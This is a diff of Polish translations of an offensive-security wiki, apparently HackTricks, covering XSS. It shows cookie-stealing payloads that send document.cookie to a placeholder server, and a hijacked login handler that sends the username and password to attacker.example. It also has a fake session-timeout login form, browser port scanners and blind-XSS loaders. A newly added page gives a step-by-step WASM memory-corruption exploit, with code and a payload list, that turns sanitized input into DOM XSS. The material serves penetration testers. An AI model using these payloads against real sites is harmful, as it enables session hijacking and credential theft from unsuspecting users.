 })()
 ```
-Podobnie jak w poprzednim przykładzie, można **use error handlers** w celu uzyskania dostępu do **wrapper** modułu i zdobycia funkcji **`require`**:
+W podobny sposób jak w poprzednim przykładzie, można **użyć obsługi błędów**, aby uzyskać dostęp do **wrappera** modułu i otrzymać funkcję **`require`**:
 ```javascript
 try {
 null.f()
@@ -1271,9 +1283,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS common payloads
+## XSS częste payloads
 
-### Several payloads in 1
+### Kilka payloads w 1
 
 
 {{#ref}}
@@ -1282,14 +1294,14 @@ steal-info-js.md
 
 ### Iframe Trap
 
-Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytuj jego działania (w tym informacje wysyłane w formularzach):
+Zmusić użytkownika do poruszania się po stronie bez opuszczania iframe i przechwycić jego działania (w tym informacje wysyłane w formularzach):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Pobierz Cookies
+### Pobieranie cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1312,7 +1324,7 @@ Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytu
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> **Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli będziesz miał szczęście.
+> Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript, jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) jeśli będziesz miał szczęście.
 
 ### Kradzież zawartości strony
 ```javascript
@@ -1388,7 +1400,7 @@ q.shift()()
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### Port Scanner (websockets)
+### Skaner portów (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1403,11 +1415,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują brak odpowiedzi._
+_Short times indicate a responding port_ _Longer times indicate no response._
 
-Przejrzyj listę ports zablokowanych w Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Przejrzyj listę zablokowanych portów w Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Pole do żądania credentials
+### Pole do żądania danych uwierzytelniających
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
@@ -1422,11 +1434,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Kiedy jakiekolwiek dane zostaną wprowadzone w polu password, username i password są wysyłane do attackers server — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
+Kiedy w polu password zostanie wprowadzona jakakolwiek wartość, username i password są wysyłane na serwer atakującego — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
 
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. poprzez inline JS-in-JS sink), zadeklaruj najpierw `const` o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy zadeklarowanej jako `const`, pozostawiając twój hook pod kontrolą:
+Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. przez inline JS-in-JS sink), zdefiniuj najpierw `const` o tej samej nazwie, żeby preempt and lock the handler. Późniejsze deklaracje funkcji nie mogą rebindować nazwy `const`, dzięki czemu twój hook pozostaje w kontroli:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1435,18 +1447,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 };
 ```
 Notatki
-- Zależy to od kolejności wykonywania: your injection musi wykonać się przed prawidłową deklaracją.
-- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki `<script>` injection z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe globalne, nieprzebindowalne wiązanie.
+- To zależy od kolejności wykonania: Twoje wstrzyknięcie musi zostać wykonane przed prawidłową deklaracją.
+- Jeśli Twój payload jest opakowany w `eval(...)`, powiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki wstrzykiwania `<script>` z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe, globalne, niemożliwe do ponownego przypisania wiązanie.
 - Gdy filtry słów kluczowych blokują kod, połącz to z Unicode-escaped identifiers lub dostarczeniem przez `eval(atob('...'))`, jak pokazano powyżej.
 
 ### Keylogger
 
-Po przeszukaniu github znalazłem kilka różnych:
+Szybkie przeszukanie github pozwoliło mi znaleźć kilka różnych:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- Możesz też użyć metasploit `http_javascript_keylogger`
+- You can also use metasploit `http_javascript_keylogger`
 
 ### Stealing CSRF tokens
 ```javascript
@@ -1494,7 +1506,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
 
 ### Blind XSS payloads
 
-Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
+Możesz także użyć: [https://xsshunter.com/](https://xsshunter.com)
 ```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
@@ -1561,7 +1573,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Dostęp do ukrytej zawartości
 
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć nawet po usunięciu wartości pola input regex:
+Z [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć, nawet po usunięciu wartości pola input regexu:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1578,7 +1590,8 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Lista Brute-Force
+### Brute-Force List
+
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
@@ -1588,26 +1601,26 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ### XSS w Markdown
 
-Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź:
+Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda się uzyskać XSS! Sprawdź:
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS do SSRF
+### XSS to SSRF
 
-Masz XSS na **stronie korzystającej z cache'owania**? Spróbuj **przekształcić to w SSRF** przez Edge Side Include Injection, używając tego payloadu:
+Masz XSS na stronie, która używa pamięci podręcznej? Spróbuj podnieść to do SSRF przez Edge Side Include Injection przy użyciu tego payloadu:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Użyj go, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\
+Use it to bypass cookie restrictions, XSS filters and much more!\
 Więcej informacji o tej technice tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### XSS w dynamicznie tworzonym PDF
+### XSS w dynamicznie tworzonym pliku PDF
 
-Jeśli strona tworzy PDF przy użyciu danych pochodzących od użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
-Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **HTML** **tagów**, zacznie je **interpretować**, i możesz **nadużyć** tego zachowania, aby spowodować **Server XSS**.
+Jeśli strona WWW tworzy PDF, używając danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
+Jeśli więc **bot tworzący PDF znajdzie** jakiś rodzaj **tagów HTML**, będzie je **interpretował**, i możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
 
 
 {{#ref}}
@@ -1623,15 +1636,15 @@ pdf-injection.md
 
 ### XSS w Amp4Email
 
-AMP, mające na celu przyspieszenie wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność ze szczególnym naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, mające na celu przyspieszenie wydajności stron WWW na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach e-mail.
+Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach.
 
-Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Przykład [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
 ### XSS przy przesyłaniu plików (svg)
 
-Prześlij jako obraz plik taki jak poniższy (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1689,7 +1702,7 @@ id="foo"/>
 ```
 Znajdź **więcej SVG payloads w** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Różne triki JS i istotne informacje
+## Różne JS Tricks & istotne informacje
 
 
 {{#ref}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
new file mode 100644
index 000000000..d9bad8030
--- /dev/null
+++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
@@ -0,0 +1,133 @@
+# WebAssembly linear memory corruption to DOM XSS (template overwrite)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Ta technika pokazuje, jak błąd korupcji pamięci w module WebAssembly (WASM) skompilowanym za pomocą Emscripten można wykorzystać do niezawodnego DOM XSS, nawet gdy wejście jest zsanitowane. Pivot polega na uszkodzeniu zapisywalnych stałych w WASM linear memory (np. HTML format templates) zamiast atakować zsanitowany string źródłowy.
+
+Key idea: W modelu WebAssembly kod znajduje się w nie-zapisywalnych stronach wykonywalnych, natomiast dane modułu (heap/stack/globals/"constants") mieszczą się w jednej płaskiej linear memory (strony po 64KB), która jest zapisywalna przez moduł. Jeśli błędny kod C/C++ zapisze poza granicami, można nadpisać sąsiednie obiekty, a nawet stałe łańcuchy osadzone w linear memory. Gdy taka stała zostanie później użyta do budowy HTML do wstawienia przez DOM sink, zsanitowane wejście można przekształcić w wykonywalny JavaScript.
+
+Threat model and preconditions
+- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
+- Stan aplikacji znajduje się w WASM linear memory (np. C structs z pointers/lengths do user buffers).
+- Input sanitizer koduje metaznaki przed zapisaniem, ale późniejsze renderowanie buduje HTML używając format string przechowywanego w WASM linear memory.
+- Istnieje prymityw korupcji linear-memory (np. heap overflow, UAF, lub unchecked memcpy).
+
+Minimal vulnerable data model (example)
+```c
+typedef struct msg {
+char *msg_data;       // pointer to message bytes
+size_t msg_data_len;  // length after sanitization
+int msg_time;         // timestamp
+int msg_status;       // flags
+} msg;
+
+typedef struct stuff {
+msg *mess;            // dynamic array of msg
+size_t size;          // used
+size_t capacity;      // allocated
+} stuff; // global chat state in linear memory
+```
+Wzorzec podatnej logiki
+- addMsg(): alokuje nowy bufor o rozmiarze dopasowanym do oczyszczonego wejścia i dopisuje msg do s.mess, podwajając pojemność za pomocą realloc w razie potrzeby.
+- editMsg(): ponownie oczyszcza i za pomocą memcpy kopiuje nowe bajty do istniejącego bufora, nie zapewniając, że nowa długość ≤ starego przydziału → intra‑linear‑memory heap overflow.
+- populateMsgHTML(): formatuje oczyszczony tekst z wbudowanym stubem takim jak "<article><p>%.*s</p></article>" znajdującym się w linear memory. Zwrócone HTML trafia do DOM sink (np. innerHTML).
+
+Allocator grooming with realloc()
+```c
+int add_msg_to_stuff(stuff *s, msg new_msg) {
+if (s->size >= s->capacity) {
+s->capacity *= 2;
+s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
+if (s->mess == NULL) exit(1);
+}
+s->mess[s->size++] = new_msg;
+return s->size - 1;
+}
+```
+- Wyślij wystarczająco dużo wiadomości, aby przekroczyć początkową pojemność. Po rozszerzeniu, realloc() często umieszcza s->mess bezpośrednio po ostatnim buforze użytkownika w pamięci liniowej.
+- Przepełnij ostatnią wiadomość za pomocą editMsg(), aby nadpisać pola wewnątrz s->mess (np. nadpisać wskaźniki msg_data) → dowolne nadpisanie wskaźników w pamięci liniowej dla danych, które zostaną później wyrenderowane.
+
+Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
+- Oczyszczanie danych (sanitization) chroni wejście, nie sinki. Znajdź format stub używany przez populateMsgHTML(), np.:
+- "<article><p>%.*s</p></article>" → change to "<img src=1      onerror=%.*s>"
+- Zlokalizuj stub deterministycznie przez skanowanie pamięci liniowej; jest to zwykły ciąg bajtów wewnątrz Module.HEAPU8.
+- Po nadpisaniu stuba, oczyszczona zawartość wiadomości staje się handlerem JavaScript dla onerror, więc dodanie nowej wiadomości z tekstem takim jak alert(1337) daje <img src=1 onerror=alert(1337)> i wykonuje się natychmiast w DOM.
+
+Chrome DevTools workflow (Emscripten glue)
+- Ustaw breakpoint na pierwszym wywołaniu Module.cwrap w JS glue i wejdź do miejsca wywołania wasm, aby przechwycić argumenty wskaźnikowe (numeryczne offsety w pamięci liniowej).
+- Używaj typowanych widoków takich jak Module.HEAPU8 do odczytu/zapisu pamięci WASM z konsoli.
+- Helper snippets:
+```javascript
+function writeBytes(ptr, byteArray){
+if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
+for(let i=0;i<byteArray.length;i++){
+const byte = byteArray[i];
+if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
+HEAPU8[ptr+i]=byte;
+}
+}
+function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
+function readBytesAsChars(ptr,len){
+const bytes=HEAPU8.subarray(ptr,ptr+len);
+return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
+}
+function searchWasmMemory(str){
+const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
+for(let i=0;i<mem.length-pat.length;i++){
+let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
+if(ok) console.log(`Found "${str}" at memory address:`, i);
+}
+console.log(`"${str}" not found in memory`);
+return -1;
+}
+const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
+```
+Pełny przepis na eksploatację end-to-end
+1) Przygotowanie: dodaj N małych wiadomości, aby wywołać realloc(). Upewnij się, że s->mess znajduje się obok bufora użytkownika.
+2) Przepełnienie: wywołaj editMsg() na ostatniej wiadomości z dłuższym ładunkiem, aby nadpisać wpis w s->mess, ustawiając msg_data wiadomości 0 tak, aby wskazywał na (stub_addr + 1). +1 pomija wiodący '<', aby zachować wyrównanie tagu podczas następnej edycji.
+3) Przepisywanie szablonu: edytuj wiadomość 0 tak, aby jej bajty nadpisały szablon następującym ciągiem: "img src=1      onerror=%.*s ".
+4) Wywołaj XSS: dodaj nową wiadomość, której oczyszczona zawartość to JavaScript, np. alert(1337). Renderowanie emituje <img src=1 onerror=alert(1337)> i wykonuje kod.
+
+Przykładowa lista akcji do serializacji i umieszczenia w ?s= (zakoduj w Base64 przy użyciu btoa przed użyciem)
+```json
+[
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
+{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
+{"action":"add","content":"alert(1337)","time":1756840476392}
+]
+```
+Dlaczego ten bypass działa
+- WASM zapobiega wykonywaniu kodu z linear memory, ale stałe dane wewnątrz linear memory są zapisywalne, jeśli logika programu jest błędna.
+- Mechanizm sanitizujący chroni tylko source string; przez uszkodzenie sinka (the HTML template), oczyszczone dane stają się wartością JS handler i wykonują się po wstawieniu do DOM.
+- realloc()-driven adjacency plus unchecked memcpy w ścieżkach edycji umożliwia korupcję wskaźników, by przekierować zapisy na adresy wybrane przez atakującego wewnątrz linear memory.
+
+Uogólnienie i inne powierzchnie ataku
+- Każdy in-memory HTML template, JSON skeleton lub URL pattern osadzony w linear memory może być celem, aby zmienić sposób, w jaki sanitized data jest interpretowane downstream.
+- Inne powszechne pułapki WASM: out-of-bounds writes/reads w linear memory, UAF na heap objects, function-table misuse z unchecked indirect call indices, oraz JS↔WASM glue mismatches.
+
+Zalecenia obronne
+- W ścieżkach edycji weryfikuj new length ≤ capacity; zmieniaj rozmiar buforów przed kopiowaniem (realloc to new_len) lub używaj API ograniczających rozmiar (snprintf/strlcpy) i śledź capacity.
+- Trzymaj immutable templates poza zapisywalnym linear memory lub sprawdzaj ich integralność przed użyciem.
+- Traktuj granice JS↔WASM jako nieufne: validate pointer ranges/lengths, fuzz exported interfaces, i ogranicz memory growth.
+- Sanityzuj przy sinku: unikaj budowania HTML w WASM; preferuj bezpieczne DOM APIs zamiast innerHTML-style templating.
+- Nie ufaj URL-embedded state w uprzywilejowanych przepływach.
+
+## References
+- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
+- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
+- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
+- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
+- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
+
+{{#include ../../banners/hacktricks-training.md}}